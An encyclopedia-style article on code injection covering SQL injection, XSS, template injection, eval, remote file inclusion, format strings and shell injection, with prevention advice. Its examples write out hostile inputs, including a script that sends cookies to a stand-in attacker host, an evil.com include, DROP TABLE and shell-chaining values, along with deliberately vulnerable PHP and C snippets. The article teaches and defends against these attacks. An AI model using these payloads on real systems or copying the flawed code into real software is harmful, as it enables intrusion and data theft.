Code injection is a computer security exploit where a program fails to correctly process external data, such as user input, causing it to interpret the data as executable commands. An attacker using this method "injects" code into the program while it is running. Successful exploitation of a code injection vulnerability can result in data breaches, access to restricted or critical computer systems, and the spread of malware.

Code injection vulnerabilities occur when an application sends untrusted data to an interpreter, which then executes the injected text as code. Injection flaws are often found in services like Structured Query Language (SQL) databases, Extensible Markup Language (XML) parsers, operating system commands, Simple Mail Transfer Protocol (SMTP) headers, and other program arguments. Injection flaws can be identified through source code examination, Static analysis, or dynamic testing methods such as fuzzing.

There are numerous types of code injection vulnerabilities, but most are errors in interpretation—they treat benign user input as code or fail to distinguish input from system commands. Many examples of interpretation errors can exist outside of computer science, such as the comedy routine "Who's on First?". Code injection can be used maliciously for many purposes, including:

  • Arbitrarily modifying values in a database through SQL injection; the impact of this can range from website defacement to serious compromise of sensitive data. For more information, see Arbitrary code execution.
  • Installing malware or executing malevolent code on a server by injecting server scripting code (such as PHP).
  • Privilege escalation to either superuser permissions on UNIX by exploiting shell injection vulnerabilities in a binary file or to Local System privileges on Microsoft Windows by exploiting a service within Windows.
  • Attacking web users with Hyper Text Markup Language (HTML) or Cross-Site Scripting (XSS) injection.

Code injections that target the Internet of Things could also lead to severe consequences such as data breaches and service disruption.

Code injections can occur on any type of program running with an interpreter. Doing this is trivial to most, and one of the primary reasons why server software is kept away from users. An example of how an injector can see code injection first-hand is to use their browser's developer tools.

Code injection vulnerabilities are recorded by the National Institute of Standards and Technology (NIST) in the National Vulnerability Database (NVD) as CWE-94. Code injection peaked in 2008 at 5.66% as a percentage of all recorded vulnerabilities.

Benign and unintentional use

Code injection may be done with good intentions. For example, changing or tweaking the behavior of a program or system through code injection can cause the system to behave in a certain way without malicious intent. Code injection could, for example:

  • Introduce a useful new column that did not appear in the original design of a search results page.
  • Offer a new way to filter, order, or group data by using a field not exposed in the default functions of the original design.
  • Add functionality like connecting to online resources in an offline program.
  • Override a function, making calls redirect to another implementation. This can be done with the Dynamic linker in Linux.

Some users may unsuspectingly perform code injection because the input they provided to a program was not considered by those who originally developed the system. For example:

  • What the user may consider as valid input may contain token characters or strings that have been reserved by the developer to have special meaning (such as the ampersand or quotation marks).
  • The user may submit a malformed file as input that is handled properly in one application but is toxic to the receiving system.

Another benign use of code injection is the discovery of injection flaws to find and fix vulnerabilities. This is known as a penetration test.

Preventing Code Injection

To prevent code injection problems, the person could use secure input and output handling strategies, such as:

  • Using an application programming interface (API) that, if used properly, is secure against all input characters. Parameterized queries allow the moving of user data out of a string to be interpreted. Additionally, Criteria API and similar APIs move away from the concept of command strings to be created and interpreted.
  • Enforcing language separation via a static type system.
  • Validating or "sanitizing" input, such as whitelisting known good values. This can be done on the client side, which is prone to modification by malicious users, or on the server side, which is more secure.
  • Encoding input or escaping dangerous characters. For instance, in PHP, using the <code>htmlspecialchars()</code> function to escape special characters for safe output of text in HTML and the <code>mysqli::real_escape_string()</code> function to isolate data which will be included in an SQL request can protect against SQL injection.
  • Encoding output, which can be used to prevent XSS attacks against website visitors.
  • Using the <code>HttpOnly</code> flag for HTTP cookies. When this flag is set, it does not allow client-side script interaction with cookies, thereby preventing certain XSS attacks.
  • Modular shell disassociation from the kernel.
  • Regarding SQL injection, one can use parameterized queries, stored procedures, whitelist input validation, and other approaches to help mitigate the risk of an attack. Using object-relational mapping can further help prevent users from directly manipulating SQL queries.

The solutions described above deal primarily with web-based injection of HTML or script code into a server-side application. Other approaches must be taken, however, when dealing with injections of user code on a user-operated machine, which often results in privilege elevation attacks. Some approaches that are used to detect and isolate managed and unmanaged code injections are:

  • Runtime image hash validation, which involves capturing the hash of a partial or complete image of the executable loaded into memory and comparing it with stored and expected hashes.
  • NX bit: all user data is stored in special memory sections that are marked as non-executable. The processor is made aware that no code exists in that part of memory and refuses to execute anything found in there.
  • Use canaries, which are randomly placed values in a stack. At runtime, a canary is checked when a function returns. If a canary has been modified, the program stops execution and exits. This occurs on a failed Stack Overflow Attack.
  • Code Pointer Masking (CPM): after loading a (potentially changed) code pointer into a register, the user can apply a bitmask to the pointer. This effectively restricts the addresses to which the pointer can refer. This is used in the C programming language.

Examples

SQL injection

An SQL injection attack takes advantage of SQL syntax to inject malicious commands that can read or modify a database or otherwise compromise the meaning of the original query.

For example, consider a web page that has two text fields which allow users to enter a username and a password to log in to the web site. The (hypothetical) web server code will receive the username and password parameters, and will generate an SQL query to check that the username exists and that the password is correct for that user. If the query returns any rows, then access is granted.

For example, if given the username <code>alice</code> and the password <code>hunter2</code>, the server will generate and run this query:

<syntaxhighlight lang="SQL">

SELECT UserList.Username

FROM UserList

WHERE UserList.Username = 'alice'

AND UserList.Password = 'hunter2'

</syntaxhighlight>

However, if the attacker instead provides <code>hunter2' OR '1'='1</code> in the password field, then the server will generate and run this query:

<syntaxhighlight lang="sql">

SELECT UserList.Username

FROM UserList

WHERE UserList.Username = 'alice'

AND UserList.Password = 'hunter2' OR '1'='1'

</syntaxhighlight>

While <code>hunter2</code> might or might not be the correct password, the expression <code>'1'='1'</code> is always true and the database will return all rows in the <code>UserList</code> table — thus allowing the attacker to log in even if they don't have the correct password.

The technique may be extended to allow the attacker to execute multiple statements. For example, if the attacker provided the password <code>hunter2'; DROP TABLE UserList; --</code>, the resulting query would be:

<syntaxhighlight lang="sql">

SELECT UserList.Username

FROM UserList

WHERE UserList.Username = 'alice'

AND UserList.Password = 'hunter2'; DROP TABLE UserList; --'

</syntaxhighlight>

Because the <code>;</code> symbol signifies the end of one statement, it is possible to begin a new statement — in this case, <code>DROP TABLE</code>. The symbol <code>--</code> signifies the start of a comment, thus neutralizing the trailing <code>'</code> that the server adds when generating the query syntax. As a result of these two statements, no rows will be returned (unless by chance the user Username has a blank password), and the entire <code>UserList</code> table will be deleted.

For database engines that extend SQL to allow queries to invoke external programs, the attacker could gain that capability as well.

Cross-site scripting

Code injection is the malicious injection or introduction of code into an application. Some web servers have a guestbook script, which accepts small messages from users and typically receives messages such as:

<nowiki>Very nice site!</nowiki>

However, a malicious person may know of a code injection vulnerability in the guestbook and enter a message such as:

<syntaxhighlight lang="html">Nice site, I think I'll take it. <script>window.location="https://some_attacker/evilcgi/cookie.cgi?steal=" + escape(document.cookie)</script></syntaxhighlight>

If another user views the page, then the injected code will be executed. This code can allow the attacker to impersonate another user. However, this same software bug can be accidentally triggered by an unassuming user, which will cause the website to display bad HTML code.

HTML and script injection are popular subjects, commonly termed "cross-site scripting" or "XSS". XSS refers to an injection flaw whereby user input to a web script or something along such lines is placed into the output HTML without being checked for HTML code or scripting.

Many of these problems are related to erroneous assumptions of what input data is possible or the effects of special data.

Server Side Template Injection

Template engines are often used in modern web applications to display dynamic data. However, trusting non-validated user data can frequently lead to critical vulnerabilities such as server-side Side Template Injections. While this vulnerability is similar to cross-site scripting, template injection can be leveraged to execute code on the web server rather than in a visitor's browser. It abuses a common workflow of web applications, which often use user inputs and templates to render a web page. The example below shows the concept. Here the template <code><nowiki></nowiki></code> is replaced with data during the rendering process.<syntaxhighlight lang="html">

Hello

</syntaxhighlight>An attacker can use this workflow to inject code into the rendering pipeline by providing a malicious <code>visitor_name</code>. Depending on the implementation of the web application, he could choose to inject <code><nowiki></nowiki></code> which the renderer could resolve to <code>Hello 7777777</code>. Note that the actual web server has evaluated the malicious code and therefore could be vulnerable to remote code execution.

Dynamic evaluation vulnerabilities

An <syntaxhighlight lang="php" inline>eval()</syntaxhighlight> injection vulnerability occurs when an attacker can control all or part of an input string that is fed into an <syntaxhighlight lang="php" inline>eval()</syntaxhighlight> function call.

<syntaxhighlight lang="php">

$myvar = 'somevalue';

$x = $_GET['arg'];

eval('$myvar = ' . $x . ';');

</syntaxhighlight>

The argument of "<code>eval</code>" will be processed as PHP, so additional commands can be appended. For example, if "arg" is set to "<syntaxhighlight lang="php" inline>10; system('/bin/echo uh-oh')</syntaxhighlight>", additional code is run which executes a program on the server, in this case "<code>/bin/echo</code>".

Object injection

PHP allows serialization and deserialization of whole objects. If an untrusted input is allowed into the deserialization function, it is possible to overwrite existing classes in the program and execute malicious attacks. Such an attack on Joomla was found in 2013.

Remote file injection

Consider this PHP program (which includes a file specified by request):

<syntaxhighlight lang="php">

<?php

$color = 'blue';

if (isset($_GET['color']))

$color = $_GET['color'];

require($color . '.php');

</syntaxhighlight>

The example expects a color to be provided, while attackers might provide <code><nowiki>COLOR=http://evil.com/exploit</nowiki></code> causing PHP to load the remote file.

Format specifier injection

Format string bugs appear most commonly when a programmer wishes to print a string containing user-supplied data. The programmer may mistakenly write <code>printf(buffer)</code> instead of <code>printf("%s", buffer)</code>. The first version interprets <code>buffer</code> as a format string and parses any formatting instructions it may contain. The second version simply prints a string to the screen, as the programmer intended. Consider the following short C program that has a local variable char array <code>password</code> which holds a password; the program asks the user for an integer and a string, then echoes out the user-provided string.<syntaxhighlight lang="c">

char user_input[100];

int int_in;

char password[10] = "Password1";

printf("Enter an integer\n");

scanf("%d", &int_in);

printf("Please enter a string\n");

fgets(user_input, sizeof(user_input), stdin);

printf(user_input); // Safe version is: printf("%s", user_input);

printf("\n");

return 0;

</syntaxhighlight>If the user input is filled with a list of format specifiers, such as <code>%s%s%s%s%s%s%s%s</code>, then <code>printf()</code>will start reading from the stack. Eventually, one of the <code>%s</code> format specifiers will access the address of <code>password</code>, which is on the stack, and print <code>Password1</code> to the screen.

Shell injection

Shell injection (or command injection) is named after UNIX shells but applies to most systems that allow software to programmatically execute a command line. Here is an example vulnerable tcsh script:

<syntaxhighlight lang="tcsh">

  1. !/bin/tcsh
  2. check arg
  3. outputs "it matches" if the argument is 1

if ($1 == 1) echo it matches

</syntaxhighlight>

If the above is stored in the executable file <code>./check</code>, the shell command <code>./check " 1 ) evil"</code> will attempt to execute the (hypothetical) shell command <code>evil</code> instead of comparing the first argument with the constant value 1. Here, the code under attack is the code that is trying to check the parameter, the very code that might have been trying to validate the parameter to defend against an attack.

Any function that can be used to compose and run a shell command is a potential vehicle for launching a shell injection attack. Among these are <code>system()</code>, <code>StartProcess()</code>, and <code>System.Diagnostics.Process.Start()</code>.

Client-server systems such as web browser interaction with web servers are potentially vulnerable to shell injection. Consider the following short PHP program that can run on a web server to run an external program called <code>funnytext</code> to replace a word the user sent with some other word.

<syntaxhighlight lang="php">

<?php

passthru("/bin/funnytext " . $_GET['USER_INPUT']);

</syntaxhighlight>

The <code>passthru</code> function in the above program composes a shell command that is then executed by the web server. Since part of the command it composes is taken from the URL provided by the web browser, this allows the URL to inject malicious shell commands. One can inject code into this program in several ways by exploiting the syntax of various shell features (this list is not exhaustive):

{| class="wikitable"

|-

! Shell feature

! <code>USER_INPUT</code> value

! Resulting shell command

! Explanation

|-

| Sequential execution

| <code>; malicious_command</code>

| <code>/bin/funnytext ; malicious_command</code>

| Executes <code>funnytext</code>, then executes <code>malicious_command</code>.

|-

| Pipelines

| <code>&#124; malicious_command</code>

| <code>/bin/funnytext &#124; malicious_command</code>

| Sends the output of <code>funnytext</code> as input to <code>malicious_command</code>.

|-

| Command substitution

| <code>`malicious_command`</code>

| <code>/bin/funnytext `malicious_command`</code>

| Sends the output of <code>malicious_command</code> as arguments to <code>funnytext</code>.

|-

| Command substitution

| <code>$(malicious_command)</code>

| <code>/bin/funnytext $(malicious_command)</code>

| Sends the output of <code>malicious_command</code> as arguments to <code>funnytext</code>.

|-

| AND list

| <code>&& malicious_command</code>

| <code>/bin/funnytext && malicious_command</code>

| Executes <code>malicious_command</code> iff <code>funnytext</code> returns an exit status of 0 (success).

|-

| OR list

| <code>&#124;&#124; malicious_command</code>

| <code>/bin/funnytext &#124;&#124; malicious_command</code>

| Executes <code>malicious_command</code> iff <code>funnytext</code> returns a nonzero exit status (error).

|-

| Output redirection

| <code>&gt; ~/.bashrc</code>

| <code>/bin/funnytext &gt; ~/.bashrc</code>

| Overwrites the contents the <code>.bashrc</code> file with the output of <code>funnytext</code>.

|-

| Input redirection

| <code>&lt; ~/.bashrc</code>

| <code>/bin/funnytext &lt; ~/.bashrc</code>

| Sends the contents of the <code>.bashrc</code> file as input to <code>funnytext</code>.

|}

Some languages offer functions to properly escape or quote strings that are used to construct shell commands:

  • PHP: <code>escapeshellarg()</code> and <code>escapeshellcmd()</code>
  • Python: <code>shlex.quote()</code>

However, this still puts the burden on programmers to know/learn about these functions and to remember to make use of them every time they use shell commands. In addition to using these functions, validating or sanitizing the user input is also recommended.

The safer alternative is to use APIs that implement the desired functionality directly in the given programming language rather than by invoking an external program in a shell, thus preventing the possibility of shell injection. For example, rather than implementing Git functionality by invoking <code>git ...</code> shell commands, it is better to use a Git API such as libgit2.

See also

References

  • Tadeusz Pietraszek and Chris Vanden Berghe. "Defending against Injection Attacks through Context-Sensitive String Evaluation (CSSE)"
  • News article "Flux spreads wider—First Trojan horse to make use of code injection to prevent detection from a firewall
  • The Daily WTF regularly reports real-world instances of susceptibility to code injection in software